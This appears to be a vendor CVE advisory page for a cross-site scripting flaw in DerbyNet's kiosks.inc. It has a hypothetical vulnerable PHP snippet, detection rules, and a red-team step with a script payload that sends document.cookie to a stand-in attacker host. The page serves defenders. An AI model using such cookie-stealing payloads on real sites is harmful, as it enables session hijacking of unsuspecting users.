☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-30926

CVE-2024-30926 Cross-Site Scripting in Derbynet
📅 PUBLISHED: 2024-04-18 00:00 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.51%
👁️
0.51% probability
12.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-30926 is a Cross-Site Scripting (XSS) vulnerability identified in DerbyNet versions 9.0 and below. The flaw resides in the ./inc/kiosks.inc component, allowing an unauthenticated attacker to inject arbitrary web scripts or HTML. Successful exploitation can lead to session hijacking, credential theft, or defacement within the context of the victim's browser. No official patch has been released, and no public proof-of-concept (PoC) code is currently available. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and CWE-79 (Improper Neutralization of Input During Web Page Generation).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the DerbyNet application directly, which is a PHP-based web application. No supply chain component is involved.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the nature of the vulnerability (XSS), a reasonable estimate would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R) – victim must visit a crafted link
  • Scope (S): Changed (C) – injected script can affect other resources
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Base Score: 6.1 (Medium)

Threat Level: Medium. While exploitation requires user interaction, the lack of a patch and the potential for credential theft elevate the risk.

Deep Dive & Mechanics

The vulnerability exists in the ./inc/kiosks.inc component of DerbyNet. This component likely handles input from kiosk interfaces (e.g., race registration, results display). The flaw is due to improper sanitization of user-supplied data before it is rendered in a web page.

Attack Vector:

  1. An attacker crafts a malicious URL or form input containing JavaScript code.
  2. The attacker tricks a victim (e.g., a race official or participant) into clicking the link or submitting the form.
  3. The DerbyNet application processes the input and reflects it in the response without proper encoding.
  4. The victim's browser executes the injected script, which can:
    • Steal session cookies (document.cookie)
    • Redirect to a phishing page
    • Perform actions on behalf of the victim (e.g., modify race results)
    • Deface the kiosk display

Root Cause: The kiosks.inc file likely uses echo or print with user input without applying htmlspecialchars() or similar escaping functions.

Vulnerable vs. Patched Code

Since no patch is available, the following demonstrates the vulnerable pattern and a hypothetical fix.

Vulnerable Code (DerbyNet <= 9.0):

<?php
// inc/kiosks.inc
$name = $_GET['name'];
echo "Welcome, " . $name . "!";
?>

Patched Code (Hypothetical):

<?php
// inc/kiosks.inc
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo "Welcome, " . $name . "!";
?>

The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • Target: DerbyNet v9.0 running on Apache/Nginx with PHP 7.x
  • Attacker: Kali Linux with Burp Suite and a modern browser

Exploitation Steps:

  1. Identify the vulnerable parameter (e.g., name, message, kiosk_id) in the ./inc/kiosks.inc component.
  2. Craft a payload: <script>alert('XSS')</script>
  3. Inject via URL: http://target/inc/kiosks.inc?name=<script>alert('XSS')</script>
  4. If reflected, escalate to cookie theft:
    http://target/inc/kiosks.inc?name=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
    

No public exploit code is available.

Blue Team (Defensive)

Detection Steps:

  1. Monitor web server logs for unusual parameters containing <script>, onerror, javascript:.
  2. Use WAF rules to block common XSS patterns.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/inc/kiosks.inc" AND uri_query=*<script>*
| table _time, clientip, uri_query, status

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /inc/kiosks.inc with parameters containing <script>, onerror, javascript:.
    • Outbound connections to attacker-controlled domains from the DerbyNet server.
  • File IOCs:
    • Modified kiosks.inc file with injected PHP code (if server-side XSS leads to file inclusion).
  • Behavioral IOCs:
    • Unexpected redirects or pop-ups on kiosk displays.
    • Unauthorized changes to race data.

Detection Engineering

YARA Rule

rule CVE_2024_30926_XSS_DerbyNet {
    meta:
        description = "Detects XSS attempts targeting DerbyNet kiosks.inc"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-30926"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $vuln_path = "/inc/kiosks.inc"
    condition:
        $vuln_path and $xss_payload
}

Sigma Rule

title: XSS Attempt Against DerbyNet kiosks.inc
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts in DerbyNet kiosks.inc
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-path: "/inc/kiosks.inc"
        cs-uri-query|contains: 
            - "<script>"
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin interfaces (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30926 XSS Attempt DerbyNet kiosks.inc"; flow:to_server,established; content:"/inc/kiosks.inc"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the kiosk feature if not in use: Remove or rename ./inc/kiosks.inc.
  2. Apply input validation: Sanitize all user inputs in kiosks.inc using htmlspecialchars() or a similar function.
  3. Implement WAF rules: Block requests containing <script>, onerror, javascript: in URI parameters.
  4. Upgrade: Monitor DerbyNet for an official patch. If none is released, consider migrating to an alternative solution.

Long-term Mitigations:

  • Adopt a Content Security Policy (CSP) header: Content-Security-Policy: default-src 'self'; script-src 'self';
  • Use HTTP-only cookies to prevent JavaScript access.
  • Conduct regular security audits of custom PHP code.

Valters IT
Securing digital frontiers, one CVE at a time.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-30926/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.